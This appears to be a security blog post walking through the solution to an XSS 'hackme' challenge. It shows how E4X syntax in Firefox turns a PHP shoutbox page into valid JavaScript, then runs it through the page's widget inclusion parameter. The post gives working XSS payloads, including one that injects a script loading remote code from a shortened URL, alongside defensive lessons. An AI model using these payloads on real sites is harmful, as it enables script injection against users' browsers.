<script>alert(/xss/)</script>
became perfectly safe
<script>alert(/xss/)</script>
which was not interpreted as Javascript by the browser.
But still, the code had two vulnerabilities - one allowed for an XSS in Firefox browsers, the other - in Internet Explorer (6,7,8). Today we'll talk about the Firefox one (SPOILERS AHEAD!)
WTF is E4X?
In 2006 Mozilla added a new syntactic sugar to its Javascript engine - ECMAScript for XML. E4X alows for easily specifing inline XML-like structures in JS. With this, the following becomes possible:var person = <person> <name>Bob Smith</name> <likes> <os>Linux</os> <browser>Firefox</browser> <language>JavaScript</language> <language>Python</language> </likes> </person>; alert(person.name); // Bob Smith alert(person['name']); // Bob Smith alert(person.likes.browser); // Firefox alert(person['likes'].browser); // Firefox(source: Processing XML with E4X)
This is really cool & fast way to deal with XML within Javascript. No security issues there. Unfortunately there's more. You could insert values dynamically into XML you create by using { } braces:
var foo = "bar"; // insert foo value var person = <name>{foo}</name>; // or execute anonymous function and insert its return value var person = <name>{function() {... return 'bar'}() }</name>;This is also legal, and thanks to JS semicolon insertion and "a-single-variable-is-a-valid-statement" syntax, so is this:
<name>{function() {... return 'bar'}() }</name>This is just a single JS statement creating XML object which is never used, but the embedded function is executed during its creation. Does this look familiar? How about this:
<html> <head></head> <body> ... <div class="comment-text">{function() { alert(/xss/); }() }</div> ... </body> </html>Bingo! This is a shoutbox.php file which is meant to be HTML document, but is also a perfectly valid JS file (for Firefox at least)! Technically, it's HTML/JS polyglot, a very interesting class for security. But that's another story. For now, we were able to inject a valid JS file containing our payload into a target system.
But how to run it?
To run the JS file, we need to include it in a webpage in <script src="">element. We cannot create a new <script> element, because comments are HTML escaped, but we could use existing one! Here's the snippet from shoutbox.php:
if (!empty($_GET['widget'])) { // use only a-z and . for widget files (path traversal & xss protection) $widget = preg_replace('/[^a-z\.]/', '', $_GET['widget']); echo '<script type="text/javascript" src="' . htmlspecialchars($widget) . '"></script>'; }The application includes a script from a filename passed in widget GET parameter. So it's enough if we just use URL http://kotowicz.net/shoutbox/shoutbox.php?widget=shoutbox.php. The script will be included and run, together with our payload.
Putting it together
To exploit the application we need to:- clear old comments,
- inject the XSS comment
{ function(){ alert(/xss/) }() } // or my favourite payload using jQuery document.ready call {function() { $(function() { c=document.createElement('script');c.src='//goo.gl/dD4Q'; document.body.appendChild(c); }); }()}so that shoutbox.php becomes valid JS,
- navigate to http://kotowicz.net/shoutbox/shoutbox.php?widget=shoutbox.php to execute that file as a 'widget'. Widget file name "shoutbox.php" passes all validations that only protected us from path traversal attacks. Some of you solved the widget=shoutbox.php part, but you lacked the correct E4X payload, sorry.
I'm in ur browser, sh00ting ur textz |
Limitations
While E4X is a really interesting XSS vector, it does have some serious drawbacks:Hardcore XML
Only perfect well-formed XML is allowed in E4X, so if a page has single XML error (which is very common) it's no longer a valid script. In fact, even a <!DOCTYPE or <?xml is invalid (although there's a bug for that that might get fixed one day).XML cannot be the whole program
When a JS file consists only of a single XML element, this security warning is issued and the file is not executed. So, for 99.9% websites it's not exploitable. However our shoutbox has this little fellow in the footer:<!-- {/copyright 2010 kkotowicz@gmail.com/} -->This is a block { } with a RegExp object, forming a dummy second JS statement, therefore skipping the security warning. This was supposed to be another clue, apart from github directory named e4x, which was, as kuza55 put it, "a dead giveaway".
If you're interested in E4X XSS issues, go see:
- Attacking Rich Internet Applications presentation by kuza55 and Stefano Di Paola at 25C3 conference - it was the inspiration for the hackme. BTW, Both kuza55 and Stefano had no problems with solving it and were the only ones who succeeded.
- code.google.com/p/doctype/wiki/ArticleE4XSecurity
- http://heideri.ch/jso/#e4x
Lessons learned
XSS is not just a matter of escaping a few characters to be safe (this hint will come in handy in the IE vulnerability for the hackme). There are many, many vectors one can use to inject a script in a website. This time we used a JS syntax that is totally immune to htmlspecialchars() as it doesn't contain any < > or ".XSS is also not all there is to website security. We could inject Javascript code, but to run it we had to exploit another vulnerability (Local File Inclusion). If widget parameter allowed only a whitelist of filenames (as opposed to characters) e.g. only allowed shout.js and zoom.js, we would not be able to trigger payload execution.
Know your stuff. Javascript is a really powerful language and it has it's flavors and features that few people know about. These features could be used also for exploitation, so it's better to know what to expect.
1 comment:
This is pretty good , thanks for sharing. :)
Post a Comment